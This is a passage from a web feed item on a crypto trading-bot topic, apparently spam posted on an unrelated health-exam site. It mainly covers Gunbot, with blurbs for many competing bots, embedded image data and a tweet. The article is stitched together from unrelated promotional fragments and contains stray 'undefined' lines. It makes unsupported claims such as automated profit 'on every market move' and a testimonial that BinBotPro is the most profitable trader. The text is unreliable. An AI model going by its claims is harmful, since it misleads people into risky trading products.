IPIdScZI1DWntMNix6YRubOlmbqx5AjChZgAMhB9lR7QXqfPC5p7W2nko8sO5OGTcne55DCVQkll9q43byBwoWZA9lXf+XYL+WHPs4dveFGMxIdZjU3J/m8jh1rKVQXZd9XlhQsSJ/F8JubbKo/DFxXyGmpo4S1hEoGkdScB5RB4tQrgavDFyT08sPzWUGqCJvt7R8r88KFgyzMriUMYw3MLzxaUmatYrUJcL/N1+7r8MU6bXjUa253OJkN7OfbP2W8vm2FCzZ6V4agq8Mmoc9jy94wTN/DUqVLX6faNvzxrdO5V9PiFShuNGxt8MHy5o7ShZ47pa4YGxv+uFCwgRvGdYDFTyNjf5/PEbSMt9Jb8TgikqIpoy0ciSxt9oHmP9sRVUccTaiHCEbHnY4ULIHSmm/vIVBt0Nt8MbLmveKUNbo2x+/kcSiPUC8bIfUG/4fd5YcoZQQBf/ADHb8RthQsCeCWH+8jZb9bbYaCwIKmx6EH8jiyWRgd259Li37fPXGTHSybvEt+pWy3945YULG0dYHbRM2k+dv0/bF/TKCvtDmLDqPvxQjL4if4Utt+Tb/iN8H0prKbaN0kUjlqH6/phQstJgunqRe+3PFfJEkjeyyt6G18SSVJkTS8bRnqCvs/6YHfWLXBsCPUW9Ov3YULIXIi0q1125H3+uFiTW1go3t6n9jhYULK991IwDMoGFhYkgEkA32xiOqnp/7qQgdR0+7CwsAW9JnFakIuyyI2xjkXUv48vhja8poKeppfroDxPztGx0/jfCwsAR1j2Qho433t7cat+YxT1VX4SsUpKMG9v/AIdP2wsLAB3C+Z1dctRT1LK6wgFDpsRfpt0wRUQRyVK0hH8Nx4gtsUa/NT0wsLAFFRzSmoqHZyXMiQ6gdJC3PK1vIYuqeTeWMKoHiXO173HlywsLAFfXQr9YqAGZVSJXUA2sffzA9AcVkF6mItIbEf0gA/fzwsLAD6aFWk065ftAf3jfvg2qkejVEja4YgXI3+8WOFhYAJzelp4aWYCMtoiLgliCSN97EX+ONcnzOrrhJFK4UeAZCU2JI8/T0wsLABZZlpaDwiIvrcgR9CgWva5HkTfn7rWxPEqQw1k6Rr/yEd4UIuoN+ZHU9cLCwBqqVEta/iVDankZizdSfPDZwAqShQGa9zbywsLADGACLMd2bzxgC8jE9OnTfCwsAYiAeUo32bHYYxF/FYxtstuQwsLAD4wJP4Z2UEEWxm2sIp2GorthYWAJB7TIvIHbbGXH/MKg2UkAj38/zwsLAF9kUSCmmIFt7Ypas65XB6SWwsLAGD/eoo2HW3W22JJP4bSQpsq/jvhYWAJ4SYWjdPtW5nCmFw7tuVba+FhYAUE8kMjNFZSrAggY2KgIraWTx1Bs2nba/rhYWAKuZBCzaP5TscYWtnCm7Bh5H5vhYWALJIkeGKQgAuWBFh0OGgW0Hzv+FsLCwA9wUaQBj7IHxubb4RkZQtuqFvwvhYWACVkcGIatpOfptf5vhRVMywq4c7tax3HL1wsLAEpzGdEWyx736W626YWFhYA//9k=" width="300px" alt="gunbot settings"/></p>
<p>Grow your portfolio like the world&#8217;s most sophisticated investors. We&#8217;re making institutional portfolio management software available to everyone. HodlBot&#8217;s pricing is tiered based on your portfolio size in order to keep our service affordable for those with smaller account sizes. Diversification mitigates risk and improves returns. We built the HODL indices for users who want to diversify across the market instead of picking individual coins. Best crypto trading bot with a hedge fund advantage. Controlling your emotions is the key to profitable trading. By automating your crypto investing with Stoic, you get rid of FOMO and FUD and gain regular rebalancing, well-tested hedge-fund-grade strategies, and a secure execution platform.</p>
<p>There are no limitations regarding the trading pairs. It allows traders to trade BTC with any pairs of their choice. It is entirely dependent on the price of Bitcoins. There are many technical tools available on the platform, such as Bollinger Bands, which look into many factors while buying and selling.</p>
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<blockquote class="twitter-tweet">
<p lang="tr" dir="ltr">Bir <a href="https://twitter.com/YouTube?ref_src=twsrc%5Etfw">@YouTube</a> videosu beğendim: <a href="https://t.co/SsVLxu1NcC">https://t.co/SsVLxu1NcC</a> Best Settings for Gunbot ( Tutorial )</p>
<p>&mdash; Kamala Ahmadova (@kamala_ahmadova) <a href="https://twitter.com/kamala_ahmadova/status/934424221568196608?ref_src=twsrc%5Etfw">November 25, 2017</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
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<p>Most people are aware of Bitcoin, but a little known fact is that there are literally thousands of alternative cryptocurrencies out there. These alternative cryptocurrencies are commonly called &#8222;altcoins&#8220;, short for alternative coins. Some of the most popular are Ethreum, Litecoin, and Dash. Another aspect that all these cryptocurrencies share is volatility, which to a typical investor may seem like a deterrent, However, to a day trader it&#8217;s a big plus.</p>
<p>Set up a digital asset trading platform in your local market. The 3commas cloud solution allows a wide range of institutions to launch a SAAS platform that offers global cryptocurrency trading capabilities <a href="https://www.beaxy.com/beaxy-exchange-announces-a-partnership-with-gunbot/">gunbot settings</a> like a pro. We limit technical challenges for platforms and partners. We want you to focus on your users and local fiat access to get the maximum profit for providing cryptocurrency trading.</p>
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<h2>Where is Cryptohopper located?</h2>
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<p>Cryptohopper is headquartered in Amsterdam, Netherlands and has 1 office location across 1 country.</p>
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<p>At the time Sebastian first got his hands on BinBotPro it was going through its first round of beta testing, so he was able to test it out fully without paying a dime. He was part of a select group of individuals chosen for a trial run of the program. Best of all he was able to keep all the profits he made. BinBotPro is cleverly and intuitively designed, so that even newcomers can understand the whole process in minutes. As of now, this software has been hailed as the most profitable and easiest to use automated crypto trader.</p>
<p><h2>Zenbot</h2>
</p>
<p>The fast track to an extraordinary track record in the markets is finally here! Simple or complex trading ideas with simple typing. The path to long term profitability should not be winding. Algorithmic trading or crypto bots that offer flexibility used to be difficult and expensive for independent traders. With CLEO.one you and your ideas are in charge – we do the heavy lifting. Gunbot offers many different methods for executing orders. Additionally you can use a set of confirming indicators to specify the conditions you want to allow trading for. Every method can use a configurable stop limit to reduce your risk exposure. 4C-Trading is a team of professional market analysts, lawyers and marketing veterans with years of experience in the cryptocurrency and financial markets. Our vision is to be the leading trading signal &#038; trading bots provider while simultaneously offering high level trading and investment education through online classes and personal guidance.</p>
<p>All-in-one trading platform for your Bitcoins and other Cryptocurrency. Trading, portfolio, arbitrage, signals, demo, bots &#8211; everything you need to easily manage crypto assets, within one interface. Get an advantage over the fluctuating market with minimum risks with our automated algorithms generating a profit on every market move. Analyzing over 10,000 crypto pairs every second, our algorithms automatically detect the coins with the strongest potential. Make profit on a price difference buying crypto on an exchange where the price is lower and then selling it on an exchange where the price is higher. Protect your funds by setting simultaneously Stop-Loss and Take-Profit orders. If the price takes a turn for the worse, the platform will complete orders for you whilst you are away. Make stealth trades off the order books without reserving your available balance on exchange. Orders will be placed only once the price reaches your goal. TradeSanta is a cloud cryptocurrency trading software that lets you take advantage of crypto market fluctuations.</p>
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<p>SourceForge ranks the best alternatives to Gunbot in 2021. Compare features, ratings, user reviews, pricing, and more from Gunbot competitors and alternatives in order to make an informed decision for your business. Easily get an overview of recent trades, you can even filter by pair. You can also use Gunbot for sell trailing for assets you bought manually. Attempts to predict the next period close price, trades when the forecast is higher/lower than the current price. Trade on crossings of the slow and fast simple moving averages. &#8222;Just works&#8220; method, hardy any configurable parameters.</p>
<p>This space moves fast, and is growing even faster. Would love to see a new setting video for V10 if you have time! Gunbot v12 looks fantastic, brings a ton of new functionality, and has been tested by hundreds of brave beta users. Binance introduced something revolutionary when they launched — they have their own cryptocurrency token, called BNB, that can be used for paying Trading Fees. Nice Wiki information is a huge help in getting started. It could be buying or selling a cryptocurrency at a particular price point. We will cover one such trading bot in this article.</p>
<p>undefined</p>
<p>Such price changes attracted many bored traders of stock markets that were tired of price stillness in traditional markets. With increasing fame, there is a large likelihood that cryptocurrency will fit as a primary tool of exchange shortly. The cryptocurrency market is still comparatively fresh and is evolving every day. As cryptocurrencies are tradeable, the growth of blockchain has also pulled traders to trade in them just like stocks. The information provided on this website is not legal, investment, trading or financial advice. Investing and trading cryptocurrencies is risky &#8211; Trade at your own risk.</p>
<ul>
<li>Traders can also apply sell trailing for assets that they bought manually.</li>
<li>GunBot a versatile trading platform, and it also offers a lot of value for the money.</li>
<li>For instance even though I have the pairs running when I come back hours later there is no scrolling text in the bottom right panel so I have to close and reopen gunbot to see avtivity.</li>
<li>Transparency not only helps you settle for a trustworthy bot, but it also enables you to get help whenever you have issues that need to be fixed.</li>
</ul>
<p>Bitcoin trading platform for beginners and expert traders. Our tools and technology give you the easiest way to manage your trades and portfolio. Take Profit order is a crypto trading strategy for the short term that will help you to optimize your profits. GunBot is a popular crypto trading bot that allows you to perform automated trading of a large selection of pairs across the cryptocurrency market. You can create your own trading strategies or use any of the premade ones included with the trading software. There is a great community of traders that are constantly testing crypto trading strategies and sharing them with their fellow GunBot users. Unlike many other trading bots, GunBot is software you have to install and set up, rather than a cloud service that you can connect to through your browser. If you are looking to automate your cryptocurrency trades, our GunBot review will help you decide if it is right for you.</p>
<p>undefined</p>
<p>Gunbot trades based on a multitude of indicators and strategies programmed and designed by the Gunbot team. All cryptocurrency trading bots have one main goal. They are designed to buy and sell crypto autonomously without the need for third-party involvement.  Trading bots are not perfect, but for some traders they do offer significant advantages and the chance to make a larger profit from trades. The theory is that bots remove emotion from trading and minimize the possibility of human error.</p>
<p><img class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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width="307px" alt="gunbot settings"/></p>
<p>Here, we were instructed to deposit Bitcoin to a specific Bitcoin address. We were then told to enter our ERC-20 compatible Ethereum wallet address. Once this is done, you then automatically receive a number of GUNTHY tokens on your wallet, and these are used to permanently validate your license ownership through the blockchain. So, to be quite honest, this process was very intimidating. Since we did not own any Bitcoin, we needed to first purchase digital coins from an exchange in order to use Gunbot. As we have mentioned, there are many products available in the market to help boost your trading success. On the Gunbot website, they offer a choice of pricing plans and you are then able to choose the best license to suit your trading needs. To put this into perspective, we will look at the Gunbot Standard Edition license. It works by only selling your quote units at the price drop percentage you state.</p>
]]></content:encoded>
					
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			</item>
		<item>
		<title>Bitcoin To Us Dollar Rate Today Btc</title>
		<link>https://heilpraktiker-pruefung.com/bitcoin-to-us-dollar-rate-today-btc/</link>
					<comments>https://heilpraktiker-pruefung.com/bitcoin-to-us-dollar-rate-today-btc/#respond</comments>
		
		<dc:creator><![CDATA[healthcarepruef]]></dc:creator>
		<pubDate>Thu, 24 Feb 2022 15:47:48 +0000</pubDate>
				<category><![CDATA[Bitcoin News]]></category>
		<guid isPermaLink="false">https://heilpraktiker-pruefung.com/?p=2179</guid>

					<description><![CDATA[By sharing fundamental economic qualities, gold and Bitcoin have developed a positive correlation that traders should always consider. After accelerating the bull run in early 2021, institutional money is expected to continue being a major price driver in 2021. Major companies, such as Tesla and MicroStrategy Incorporated, invested big money in Bitcoin, paving the way [&#8230;]]]></description>
